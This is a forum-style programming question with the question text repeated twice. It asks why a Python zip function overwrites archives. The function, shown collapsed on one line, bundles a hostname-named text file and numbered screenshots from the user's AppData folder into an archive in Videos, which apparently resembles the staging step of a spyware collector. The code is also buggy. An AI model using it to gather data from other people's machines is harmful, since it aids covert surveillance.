Ok.
I've spent alot of time reading the forum posts related to files & stackoverflow & medium & google and more! (you get the point - i'm stuck.)
I have a zip function that works great on a single zip file but if I have more than 1 file with the same name
then the function overwrites the file.
I've tried to use the os.walk, os.isfile, os.exsist, adding else condition and the last solution that you see here.
still, i'm getting only 1 new file (filename[2].zip)
Please help!
I've spent alot of time reading the forum posts related to files & stackoverflow & medium & google and more! (you get the point - i'm stuck.)
I have a zip function that works great on a single zip file but if I have more than 1 file with the same name
then the function overwrites the file.
I've tried to use the os.walk, os.isfile, os.exsist, adding else condition and the last solution that you see here.
still, i'm getting only 1 new file (filename[2].zip)
Please help!
def dozip(duration, limit=50): print(f"Zipping in {duration} seconds...") time.sleep(duration) root_dir = f"{os.environ['appdata']}" zip_files = [] i = 1 z = 1 file_name = f"{sysinfo.node}[{i}].zip" root_files = os.listdir(root_dir) zip_files.append(root_files) for file in zip_files: if file_name == file: i += 1 zipper = ZipFile(f"c:\\Users\\{os.getlogin()}\\Videos\\" f"{sysinfo.node}[{i+1}].zip", 'w') try: zipper.write(f"{os.environ['appdata']}" + f"{sysinfo.node}.txt") except FileNotFoundError as e: print(f"[!]File not found:\n{e}") pass try: while z < limit: zipper.write(f"{os.environ['appdata']}" + f"{sysinfo.node}[{z + 1}].png") z += 1 if z >= limit: dozip(0.1) except FileNotFoundError as e: print(f"[!]File not found:\n{e}") pass zipper.close() zip_files.append(f"{sysinfo.node}[{i}].zip") print("[+]Zipped!") return zipperThank you!